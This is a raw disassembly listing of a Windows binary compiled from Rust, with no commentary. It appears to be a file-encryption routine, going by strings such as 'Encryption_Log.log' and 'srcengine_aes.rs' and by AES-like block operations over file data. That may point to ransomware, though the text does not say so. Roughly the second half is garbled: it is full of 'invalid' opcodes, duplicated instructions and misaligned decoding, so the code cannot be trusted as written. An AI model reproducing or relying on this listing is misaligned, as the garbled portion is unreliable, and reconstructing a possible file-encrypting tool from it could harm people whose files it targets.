mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
add rsi, r14
mov qword [rsp + 0x90], rsi
movabs rax, 0x1000000000
cmp rsi, rax
jbe 0x14001dbf0
cmp qword [rsp + 0x88], 0
je 0x14001dbcf
mov r8, qword [rsp + 0x80]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0x30]
mov qword [rcx], 1
lea rax, [0x1400b2870]
mov qword [rcx + 8], rax
mov rdi, qword [rsp + 0x38]
jmp 0x14001e0eb
mov rdx, qword [rsp + 0xef0]
mov eax, dword [rdx]
mov ecx, dword [rdx + 4]
mov edx, dword [rdx + 8]
mov qword [rsp + 0x4a0], rbx
mov dword [rsp + 0x4a8], eax
mov dword [rsp + 0x4ac], ecx
mov dword [rsp + 0x4b0], edx
mov qword [rsp + 0x4b4], 1
pxor xmm0, xmm0
movdqa xmmword [rsp + 0xd0], xmm0
movzx r8d, byte [section..data]
cmp r8b, 1
jne 0x14001dc63
lea rdx, [rsp + 0x4a8]
lea rcx, [rsp + 0xa00]
lea r8, [rsp + 0xd0]
call fcn.1400158f0
jmp 0x14001dcd8
mov dword [rsp + 0x4b8], 1
mov dword [rsp + 0x640], eax
mov dword [rsp + 0x644], ecx
mov dword [rsp + 0x648], edx
mov dword [rsp + 0x64c], 0x1000000
movdqu xmmword [rsp + 0x650], xmm0
movdqu xmmword [rsp + 0x660], xmm0
movdqu xmmword [rsp + 0x670], xmm0
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0xa00]
lea r8, [rsp + 0x640]
call fcn.14003f0c0
movdqu xmm0, xmmword [rsp + 0xe0]
movdqa xmmword [rsp + 0xd0], xmm0
movups xmm0, xmmword [rsp + 0x4a0]
movups xmm1, xmmword [rsp + 0x4b0]
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
movdqa xmm6, xmmword [rsp + 0xd0]
mov rbx, rsi
and rbx, 0xf
je 0x14001dd19
mov eax, dword [rsp + 0x58]
mov ecx, 0xffffffff
xor rcx, rax
cmp rbx, rcx
jae 0x14001e4d5
mov r14, rdi
mov r15, rsi
cmp rsi, 0x11
jb 0x14001dd63
mov rax, rsi
shr rax, 4
mov r14, rsi
and r14, 0xfffffffffffffff0
mov qword [rsp + 0xe0], rdi
mov qword [rsp + 0xe8], rdi
mov qword [rsp + 0xf0], rax
add r14, rdi
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xe0]
call fcn.140015530
mov r15, rbx
test r15, r15
je 0x14001dde1
lea rax, [r15 - 0x10]
neg rax
cmp r15, 0x10
mov r8d, 0
cmovb r8, rax
lea rcx, [rsp + r15]
add rcx, 0x4a0
xor edx, edx
call sub.VCRUNTIME140.dll_memset
lea r12, [rsp + 0x4a0]
mov rcx, r12
mov rdx, r14
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x640], r12
mov qword [rsp + 0x648], r12
mov qword [rsp + 0x650], 1
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x640]
call fcn.140015530
mov rcx, r14
mov rdx, r12
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [0x1400f9001]
movaps xmm0, xmmword [rsp + 0xdc0]
movdqa xmm1, xmmword [rsp + 0xdd0]
movaps xmmword [rsp + 0xe0], xmm0
movdqa xmmword [rsp + 0xf0], xmm1
movzx eax, byte [0x1400f9001]
mov r8, rsi
shr r8, 4
lea rcx, [rsp + 0xe0]
mov rdx, rdi
call fcn.14001a720
test rbx, rbx
je 0x14001de7e
mov rax, rsi
and rax, 0xfffffffffffffff0
add rdi, rax
mov r8d, 0x10
sub r8, rbx
lea rcx, [rsp + rbx]
add rcx, 0x640
xor edx, edx
call sub.VCRUNTIME140.dll_memset
lea r14, [rsp + 0x640]
mov rcx, r14
mov rdx, rdi
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0xe0]
mov r8d, 1
mov rdx, r14
call fcn.14001a720
shl rsi, 3
bswap rsi
mov qword [rsp + 0x640], 0
mov qword [rsp + 0x648], rsi
lea rcx, [rsp + 0xe0]
lea rdi, [rsp + 0x640]
mov r8d, 1
mov rdx, rdi
call fcn.14001a720
movdqa xmm0, xmmword [rsp + 0xf0]
movzx eax, byte [0x1400f9001]
pxor xmm1, xmm1
movdqa xmm2, xmm0
punpcklbw xmm2, xmm1
pshufd xmm2, xmm2, 0x4e
pshuflw xmm2, xmm2, 0x1b
pshufhw xmm2, xmm2, 0x1b
punpckhbw xmm0, xmm1
pshufd xmm0, xmm0, 0x4e
pshuflw xmm0, xmm0, 0x1b
pshufhw xmm7, xmm0, 0x1b
packuswb xmm7, xmm2
pxor xmm7, xmm6
mov rbp, qword [rsp + 0x88]
mov r14, qword [rsp + 0x90]
mov rax, rbp
sub rax, r14
cmp rax, 0xf
jbe 0x14001e10e
mov rbx, qword [rsp + 0x80]
movdqu xmmword [rbx + r14], xmm7
add r14, 0x10
je 0x14001e146
mov rcx, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xb8]
mov dword [rsp + 0xe0], 0
pxor xmm0, xmm0
movdqu xmmword [rsp + 0xe8], xmm0
mov dword [rsp + 0xf8], 7
mov qword [rsp + 0xfc], 0
mov word [rsp + 0x104], 0
mov byte [rsp + 0x101], 1
mov byte [rsp + 0x104], 1
mov byte [rsp + 0x103], 1
lea r8, [rsp + 0xe0]
call fcn.140081f70
mov r15, rdx
test rax, rax
je 0x14001dfe5
movzx eax, byte [0x1400f92c0]
mov ecx, 8
mov edx, 8
call fcn.14003e500
test rax, rax
je 0x14001e473
mov qword [rax], r15
mov rcx, qword [rsp + 0x30]
mov qword [rcx], rax
lea rax, [0x1400b0c00]
mov qword [rcx + 8], rax
jmp 0x14001e0cf
mov qword [rsp + 0x40], r15
lea rcx, [rsp + 0xe0]
mov rdx, r15
xor r8d, r8d
xor r9d, r9d
call fcn.1400830c0
cmp qword [rsp + 0xe0], 0
je 0x14001e073
mov rsi, qword [rsp + 0xe8]
movzx eax, byte [0x1400f92c0]
mov ecx, 8
mov edx, 8
call fcn.14003e500
test rax, rax
je 0x14001e473
mov qword [rax], rsi
jmp 0x14001e0b1
mov qword [rsp + 0x80], 1
movdqu xmmword [rsp + 0x88], xmm6
lea rcx, [rsp + 0x80]
xor edx, edx
mov r8, r14
call fcn.1400aae70
mov rdi, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x90]
jmp 0x14001db84
lea rcx, [rsp + 0x40]
mov rdx, rbx
mov r8, r14
call fcn.1400081b0
test rax, rax
je 0x14001e18d
mov r14, rax
movzx eax, byte [0x1400f92c0]
mov ecx, 8
mov edx, 8
call fcn.14003e500
test rax, rax
je 0x14001e473
mov qword [rax], r14
mov rcx, qword [rsp + 0x30]
mov qword [rcx], rax
lea rax, [0x1400b0c00]
mov qword [rcx + 8], rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rdi, qword [rsp + 0x38]
test rbp, rbp
je 0x14001e0eb
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [section..data]
mov r12, qword [rsp + 0x70]
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
test r12, r12
jne 0x14001c924
jmp 0x14001c938
lea rcx, [rsp + 0x80]
mov rdx, r14
call fcn.1400a9b10
mov rbp, qword [rsp + 0x88]
mov r14, qword [rsp + 0x90]
mov rbx, qword [rsp + 0x80]
movdqu xmmword [rbx + r14], xmm7
add r14, 0x10
jne 0x14001df35
pxor xmm0, xmm0
mov rax, qword [rsp + 0x30]
movdqu xmmword [rax], xmm0
test rbp, rbp
je 0x14001e16a
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [section..data]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp qword [rsp + 0x70], 0
jne 0x14001c924
jmp 0x14001c938
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x640], rax
lea rax, [0x1400514b0]
mov qword [rsp + 0x648], rax
lea rcx, str..abbt
mov qword [rsp + 0x650], rcx
mov qword [rsp + 0x658], rax
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 2
mov qword [rsp + 0x100], 0
mov qword [rsp + 0xf0], rdi
mov qword [rsp + 0xf8], 2
lea rcx, [rsp + 0x4a0]
lea rdx, [rsp + 0xe0]
call fcn.14000f900
mov rdi, qword [rsp + 0x4a0]
mov rsi, qword [rsp + 0x4a8]
mov r14, qword [rsp + 0x4b0]
mov rcx, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xb8]
mov r8, rdi
mov r9, r14
call fcn.1400965a0
test rax, rax
je 0x14001e2a3
mov r15, rax
movzx eax, byte [0x1400f92c0]
mov ecx, 8
mov edx, 8
call fcn.14003e500
test rax, rax
je 0x14001e473
mov qword [rax], r15
mov rcx, qword [rsp + 0x30]
mov qword [rcx], rax
lea rax, [0x1400b0c00]
mov qword [rcx + 8], rax
test rsi, rsi
je 0x14001e0c4
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14001e0c4
mov qword [rsp + 0xa0], rsi
lea rdx, [0x1400b24c4]
lea rcx, [rsp + 0x640]
mov r8d, 0xb
call fcn.140081750
cmp byte [rsp + 0x658], 3
jne 0x14001e503
mov rdx, qword [rsp + 0x640]
mov rsi, qword [rsp + 0x648]
mov r8, qword [rsp + 0x650]
mov qword [rsp + 0x20], 7
lea r9, [0x1400b239c]
lea rcx, [rsp + 0xe0]
mov qword [rsp + 0xc0], rdx
call fcn.1400863b0
mov r12, qword [rsp + 0xe0]
mov r13, qword [rsp + 0xf0]
lea rdx, str.Encryption_Log.log
lea r15, [rsp + 0x640]
mov r8d, 0x12
mov rcx, r15
call fcn.14000f9e0
lea rcx, [rsp + 0x4a0]
mov rdx, r12
mov r8, r13
mov r9, r15
call fcn.1400087e0
cmp qword [rsp + 0xe8], 0
je 0x14001e370
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
test rsi, rsi
je 0x14001e38c
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rsp + 0xc0]
call qword [sym.imp.kernel32.dll_HeapFree]
mov r15, qword [rsp + 0x4a0]
mov r8, qword [rsp + 0x4b0]
lea rcx, [rsp + 0xe0]
mov rdx, r15
call fcn.1400433d0
cmp qword [rsp + 0xe0], 0
mov rsi, qword [rsp + 0xa0]
jne 0x14001e551
mov rcx, qword [rsp + 0xe8]
mov rdx, qword [rsp + 0xf0]
mov r8, rdi
mov r9, r14
call fcn.1400254a0
test rax, rax
je 0x14001e43d
mov r14, rax
movzx eax, byte [0x1400f92c0]
mov ecx, 8
mov edx, 8
call fcn.14003e500
test rax, rax
je 0x14001e473
mov qword [rax], r14
mov rcx, qword [rsp + 0x30]
mov qword [rcx], rax
lea rax, [0x1400b0c00]
mov qword [rcx + 8], rax
cmp qword [rsp + 0x4a8], 0
je 0x14001e283
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14001e283
cmp qword [rsp + 0x4a8], 0
je 0x14001e45a
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x30]
mov qword [rax + 8], 1
mov qword [rax], 0
jmp 0x14001e283
mov ecx, 8
mov edx, 8
call fcn.1400a9bd0
ud2
lea r8, [0x1400e8e68]
mov edx, 0x20
mov rcx, rdi
call fcn.1400a9df0
ud2
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_srcio_borrowed_buf.rs_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_alloc_srccollections_btree_navigate.rs
mov rcx, r13
mov rdx, rax
call fcn.1400aa0c0
ud2
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_srcio_borrowed_buf.rs_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_alloc_srccollections_btree_navigate.rs
mov rcx, rax
call fcn.1400a9df0
ud2
mov ecx, 1
mov rdx, r12
call fcn.1400a9bd0
ud2
call fcn.1400401e0
ud2
lea rax, str.X_f_v_
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400b1290]
lea r8, [rsp + 0xe0]
mov edx, 0x2b
call fcn.1400aa200
ud2
movups xmm0, xmmword [rsp + 0x640]
movups xmm1, xmmword [rsp + 0x650]
movaps xmmword [rsp + 0xf0], xmm1
movaps xmmword [rsp + 0xe0], xmm0
lea rax, str.srcengine_aes.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400b1270]
lea r8, [rsp + 0xe0]
mov edx, 0x2b
call fcn.1400aa200
ud2
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, str.srcengine_aes.rs
mov edx, 0x2b
call fcn.1400a9e70
ud2
lea rcx, [rsp + 0x218]
call fcn.14000a2e0
cmp r12, qword [rsp + 0x208]
je 0x140024e6f
mov rdx, qword [r12]
mov rsi, qword [r12 + 8]
mov rcx, rbp
mov qword [rsp + 0x30], rdx
mov r8, rsi
call fcn.14004d2b0
cmp byte [rsp + 0x190], 2
je 0x140024e9f
mov qword [rsp + 0x1f8], rsi
mov dword [rsp + 0x3c], edi
cmp qword [rsp + 0x168], 0
je 0x140023a80
mov r8, qword [rsp + 0x160]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rsp + 0x178]
mov rdi, qword [rsp + 0x188]
test rdi, rdi
je case.0x140026ce2.275
lea rbx, [rsi + 0x10]
jmp 0x140023aa9
add rbx, 0x20
dec rdi
je case.0x140026ce2.275
mov eax, dword [rbx - 0x10]
cmp rax, 4
jb 0x140023aa0
cmp eax, 4
cmp qword [rbx], 0
je 0x140023aa0
mov r8, qword [rbx - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
sar bh, cl
adc eax, 0x8c93a
invalid
jmp 0x140023aa0
cmp qword [rsp + 0x180], 0
je 0x140023aed
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x8c91b
mov rcx, r15
mov rsi, qword [rsp + 0x30]
mov esi, dword [rsp + 0x30]
mov rdx, rsi
mov rbx, qword [rsp + 0x1f8]
clc
add dword [rax], eax
add byte [rcx - 0x77], cl
fsubr st(0)
pop rax
test al, 5
add byte [rdi], cl
mov dh, 0x84
and al, 0xd0
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + riz*8], fs
add byte [rax], al
invalid
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xf0
mov rdx, qword [rsp + 0xf0]
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
invalid
invalid
invalid
jge 0x140023adb
lea r8, [0x1400ef1a4]
or al, 0
movsxd r9, dword [r8 + rax*4]
add r9, r8
mov rax, rbx
mov r8, rsi
jmp r9
add rcx, 4
add ecx, 4
jmp 0x140023b80
lea rax, [rdx + 1]
test rdx, rdx
cmove rax, rdx
add rcx, rax
add rcx, 8
add ecx, 8
add ecx, 8
jmp 0x140023b80
mov ecx, 6
jmp 0x140023b80
lea rax, [rdx + 1]
test rdx, rdx
cmove rax, rdx
add rcx, rax
add rcx, 2
jmp 0x140023b80
mov ecx, 2
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
mov rax, rbx
sub rax, rcx
jb 0x140024f80
add rcx, rsi
mov r8, rcx
test rax, rax
je 0x140023bb0
movzx eax, byte [r8]
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete al
or al, cl
jmp 0x140023bb2
xor eax, eax
add r12, 0x10
mov rcx, qword [rsp + 0xf0]
lea rdx, [rsp + 0x179]
mov qword [rdx + 0x4f], rcx
movups xmm0, xmmword [rsp + 0xd0]
movups xmm1, xmmword [rsp + 0xe0]
movups xmmword [rdx + 0x3f], xmm1
invalid
movups xmmword [rdx + 0x2f], xmm0
mov qword [rsp + 0x198], rsi
mov qword [rsp + 0x1a0], rbx
mov word [rsp + 0x1d0], 0x200
test byte [rax + rdx*8], ah
add dword [rax], eax
add byte [rax], al
add cl, byte [rax + 0x1d22484]
add byte [rax], al
nop word cs:[rax + rax]
mov byte [rsp + 0x160], 0xb
mov rcx, rbp
mov rdx, r14
bnd call fcn.14007e810
movzx eax, byte [rsp + 0x160]
cmp eax, 7
clc
invalid
jb case.default.0x140023c67
invalid
mov rdx, qword [rsp + 0x168]
mov r8, qword [rsp + 0x170]
mov qword [rsp + 0x50], 1
push rax
add dword [rax], eax
add byte [rax], al
lea rcx, [rsp + 0x58]
pop rax
movups xmmword [rcx], xmm6
mov byte [rsp + 0x68], 1
add eax, 0xfffffff9
lea rcx, [0x1400ef1c0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
mov r8d, 1
lea rdx, [0x1400e9043]
adc eax, 0xc53cd
jmp case.0x140023c67.2
mov r8d, 2
lea rdx, str....
lea rcx, [rsp + 0x50]
call fcn.140083660
movups xmm0, xmmword [r14]
adc byte [rsi], al
stc
add eax, 0x100f4100
adc byte [rsi], al
movups xmm1, xmmword [r14 + 0x10]
movups xmm2, xmmword [r14 + 0x20]
movups xmm3, xmmword [r14 + 0x30]
movaps xmmword [rsp + 0x100], xmm3
pushfq
and al, 0
add dword [rax], eax
invalid
movaps xmmword [rsp + 0xf0], xmm2
xchg esp, eax
and al, 0xf0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xe0], ecx
mov word [rax + riz*8], fs
add byte [rax], al
invalid
movaps xmmword [rsp + 0xe0], xmm1
mov word [rax + riz*8], fs
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xd0], eax
add byte [rax], al
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x140023cea
mov rdx, qword [rsp + 0x98]
cwde
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xa0
add byte [rax], al
add byte [rax], al
invalid
invalid
mov r8, qword [rsp + 0xa0]
nop dword [rax]
lea rcx, [rsp + 0x50]
call fcn.140083660
invalid
lea rcx, [rsp + 0x90]
mov rdx, r15
call fcn.14007e810
movzx eax, byte [rsp + 0x90]
invalid
add byte [rax], al
add byte [rdx + rcx], bh
cmp al, 0xa
je case.default.0x140023d2a
add al, 0xfa
movzx eax, al
lea r8, [rax + 1]
cmp al, 4
add al, 0x4d
cmovae eax, ebp
cmovae eax, ebp
lea rcx, [0x1400ef1d0]
movsxd rax, dword [rcx + r8*4]
add rax, rcx
add eax, ecx
lea rdx, [0x1400e9042]
jmp rax
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc0]
jmp case.0x140075b85.19
invalid
xchg esp, eax
and al, 0xb8
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xc0
add byte [rax], al
add bl, ch
movabs byte [0x8d4800000001b841], al
adc eax, 0xc52f8
or al, 0
mov r8d, 1
lea rdx, [0x1400e9043]
jmp case.0x140075b85.19
mov r8d, 2
lea rdx, str....
jmp case.0x140075b85.19
mov rax, qword [rsp + 0x50]
push rax
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x140], rax
mov rdi, qword [rsp + 0x60]
mov edi, dword [rsp + 0x60]
mov edi, dword [rsp + 0x60]
jmp 0x140023d96
nop
mov eax, 1
mov qword [rsp + 0x78], rax
xor edi, edi
xor eax, eax
mov qword [rsp + 0x140], rax
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
lea rcx, [rsp + 0x90]
mov word [rax + rdx*4], fs
and al, 0x90
add byte [rax], al
add byte [rax - 0x77], cl
mov rdx, rsi
mov r8, rbx
mov rdx, rsi
mov r8, rbx
call fcn.14007e360
movzx eax, byte [rsp + 0x90]
nop
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + riz*4], fs
and al, 0xa0
add byte [rax], al
invalid
nop
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + riz*4], fs
and al, 0xa0
mov ecx, dword [rsp + 0xa0]
and al, 0xa0
add byte [rax], al
add byte [rax - 0x75], cl
mov edx, dword [rsp + 0xb0]
invalid
invalid
invalid
mov rdx, qword [rsp + 0xb0]
mov edx, dword [rsp + 0xb0]
lea r8, [0x1400ef1e4]
sbb al, 0xb4
or al, 0
movsxd r9, dword [r8 + rax*4]
or al, 0x80
add r9, r8
add ecx, eax
ror dword [rax - 0x77], 0xd8
mov rax, rbx
mov r8, rsi
jmp r9
add rcx, 4
jmp case.0x14001b912.45
lea rax, [rdx + 1]
test rdx, rdx
cmove rax, rdx
add rcx, rax
add rcx, 8
jmp case.0x14001b912.45
mov ecx, 6
jmp case.0x14001b912.45
lea rax, [rdx + 1]
test rdx, rdx
cmove rax, rdx
add rcx, rax
add rcx, 2
jmp case.0x14001b912.45
mov ecx, 2
add al, byte [rax]
add byte [rax], al
nop word cs:[rax + rax]
add byte [rax], al
mov rax, rbx
sub rax, rcx
jb 0x140024f80
add rcx, rsi
mov r8, rcx
test rax, rax
je case.0x14001b841.51
movzx eax, byte [r8]
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete al
or al, cl
jmp 0x140023e52
xor eax, eax
mov rcx, qword [rsp + 0xb0]
lea rdx, [rsp + 0xe9]
mov word [rax + rsi*4], fs
add byte [rax], al
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xe9
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
invalid
lea edx, [rsp + 0xe9]
mov qword [rdx + 0x17], rcx
movups xmm0, xmmword [rsp + 0x90]
add byte [rax], al
movups xmm1, xmmword [rsp + 0xa0]
add byte [rax], al
movups xmmword [rdx + 7], xmm1
adc dword [rdx + 7], ecx
movups xmmword [rdx - 9], xmm0
mov qword [rsp + 0x50], 1
lea rcx, [rsp + 0x58]
movups xmmword [rcx], xmm6
mov byte [rsp + 0x68], 1
mov qword [rsp + 0xd0], rsi
add byte [rax], al
and al, 0x68
add dword [rax - 0x77], ecx
mov ah, 0x24
rol byte [rax], 1
add byte [rax], al
add byte [rax - 0x77], cl
pushfq
and al, 0xd8
fadd dword [rax]
add byte [rax], al
invalid
invalid
test byte [rax + rcx], ah
mov qword [rsp + 0xd8], rbx
fadd dword [rax]
add byte [rax], al
mov word [rsp + 0x108], 0x200
mov byte [rsp + 0x10a], al
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax], al
add cl, byte [rax + 0x10a2484]
add dword [rax], eax
invalid
add dword [rax], eax
add bl, ch
and ecx, dword [rax - 0x75]
mov rdx, qword [rsp + 0x98]
invalid
invalid
test byte [rax + riz*4], ah
jmp 0x140023eda
mov rdx, qword [rsp + 0x98]
mov r8, qword [rsp + 0xa0]
test byte [rax + riz*4], ah
add byte [rax], al
invalid
mov eax, dword [rsp + 0xa0]
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rsi + 0xf], ah
invalid
nop word [rax + rax]
lea rcx, [rsp + 0x50]
and al, 0x50
call fcn.140083660
lea rcx, [rsp + 0x90]
mov rdx, r15
mov word [rax + rdx*4], fs
add byte [rax], al
add byte [rcx + rcx*4 - 6], cl
call fcn.14007e810
movzx eax, byte [rsp + 0x90]
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rdx + rcx], bh
test byte [rax + rdx*4], ah
nop
add byte [rax], al
add byte [rdx + rcx], bh
je case.default.0x140023f1a
add al, 0xfa
movzx eax, al
lea r8, [rax + 1]
add dword [rsp + rax], edi
add dword [rsp + rax], edi
add dword [rsp + rax], edi
add al, 0x4d
cmovae eax, ebp
cmovae r8, r13
lea rcx, [0x1400ef200]
movsxd rax, dword [rcx + r8*4]
invalid
add al, 0x81
add rax, rcx
enter 0xffffffffffff8d48, 0x15
sub byte [rcx + 0xc], dl
add bh, bh
jmp rax
invalid
enter 0xffffffffffff8d48, 0x15
sub byte [rcx + 0xc], dl
add bh, bh
jmp rax
invalid
mov rdx, qword [rsp + 0xb8]
mov edx, dword [rsp + 0xb8]
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xc0
add byte [rax], al
add bl, ch
movabs byte [0x8d4800000001b841], al
mov r8d, 1
lea rdx, [0x1400e9043]
mov r8, qword [rsp + 0xc0]
jmp case.0x140023f1a.1
mov r8d, 1
lea rdx, [0x1400e9043]
jmp case.0x140023f1a.1
mov r8d, 2
lea rdx, str....
jmp case.0x140023f1a.1
mov rsi, r12
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x1f0], rax
mov r8, qword [rsp + 0x60]
mov rcx, r15
mov qword [rsp + 0x1e0], rdx
call fcn.1400433d0
cmp qword [rsp + 0xd0], 0
jne 0x140024fa7
mov r12, qword [rsp + 0xe0]
mov rcx, r15
mov rdx, qword [rsp + 0x78]
mov r8, rdi
call fcn.1400433d0
cmp qword [rsp + 0xd0], 0
jne 0x140024fc1
sub r12, qword [rsp + 0xe0]
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x148], rsi
mov dword [rsp + 0x148], esi
jne 0x140024020
movzx eax, byte [0x1400f92c0]
mov rax, qword [0x1400f91f8]
push rdx
or eax, 0xc0854800
add byte [rax - 0x7b], cl
invalid
jne case.0x14001bc32.42
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140024fdb
mov qword [0x1400f91f8], rax
mov r8d, 1
mov rcx, rax
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140024fdb
add byte [rax], al
add byte [rax], al
mov rsi, rax
mov byte [rax], 0x2e
add byte [rsi], ch
add byte [rsi], ch
mov ecx, 1
mov rdi, qword [rsp + 0x40]
jmp 0x14002423e
cmp r12, rbx
jae 0x140024040
fdiv qword [rbx + 0x1b]
mov r14, qword [rsp + 0x30]
and al, 0x30
xor byte [rbx - 0x80], al
cmp al, 0x26
cmp byte [r14 + r12], 0xbf
jg 0x14002404b
mov edi, 0xc7e91a7f
sldt word [rax]
add byte [rsi + 0x2e], ah
nop dword [rax + rax]
add byte [rax], al
invalid
jmp 0x140024ffd
add byte [rax], al
add byte [rbx + rcx*4 + 0x74], cl
and al, 0x30
invalid
mov r14, qword [rsp + 0x30]
je case.0x140023dd5.12
xor byte [rdi], cl
test dword [rdx + 0x4800000f], esi
add byte [rax - 0x73], cl
mov word [rax + rdx*4], fs
add byte [rax], al
add byte [rax], al
jne 0x140024ffd
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rdx*4], fs
add byte [rax], al
add byte [rax], al
mov rdx, r14
lea rcx, [rsp + 0x90]
mov rdx, r14
mov edx, esi
mov r8, r12
call fcn.14007e360
invalid
invalid
invalid
invalid
add ah, byte [rbx - 0x49f0fffb]
test byte [rax + rdx*4], ah
add byte [rdi], cl
mov dh, 0x84
and al, 0x90
movzx eax, byte [rsp + 0x90]
mov rcx, qword [rsp + 0xa0]
mov word [rax + riz*4], fs
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + riz*4], fs
and al, 0xa0
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
xchg esp, eax
and al, 0xb0
add byte [rax], al
mov rdx, qword [rsp + 0xb0]
lea r8, [0x1400ef214]
xchg edi, eax
mov cl, 0xc
add byte [rbp + 0x63], cl
or al, 0x80
add byte [rbp + rcx*4 + 5], cl
xchg edi, eax
mov cl, 0xc
add byte [rbp + 0x63], cl
or al, 0x80
add r9, r8
add ecx, eax
mov rdi, r12
mov r8, r14
invalid
invalid
mov r12, rsi
lea r14, [rsp + 0x198]
jmp r9
add rcx, 4
jmp 0x1400240e0
invalid
lea rax, [rdx + 1]
lea rax, [rdx + 1]
test rdx, rdx
cmove rax, rdx
add rcx, rax
add rcx, 8
jmp 0x1400240e0
mov ecx, 6
add byte [rax], al
jmp 0x1400240e0
lea rax, [rdx + 1]
test rdx, rdx
cmove rax, rdx
add rcx, rax
add rcx, 2
rol dword [rdx], 0xeb
invalid
rol dword [rdx], 0xeb
adc edi, dword [rcx + 2]
mov ecx, 2
mov ecx, 2
nop word cs:[rax + rax]
mov rdi, qword [rsp + 0x40]
sub rdi, rcx
mov rdx, qword [rsp + 0x30]
jb 0x14002501c
add rcx, rdx
mov r8, rcx
test rdi, rdi
je 0x140024110
movzx eax, byte [r8]
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete al
or al, cl
jmp 0x140024112
xor eax, eax
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xd8], rdx
mov rcx, qword [rsp + 0xb0]
mov rsi, rdx
lea rdx, [rsp + 0xe9]
mov qword [rdx + 0x17], rcx
movups xmm0, xmmword [rsp + 0x90]
movups xmm1, xmmword [rsp + 0xa0]
movups xmmword [rdx + 7], xmm1
movups xmmword [rdx - 9], xmm0
mov byte [rsp + 0x10a], al
mov word [rsp + 0x108], 0x200
lea rcx, [rsp + 0x90]
mov rdx, r15
call fcn.14007e810
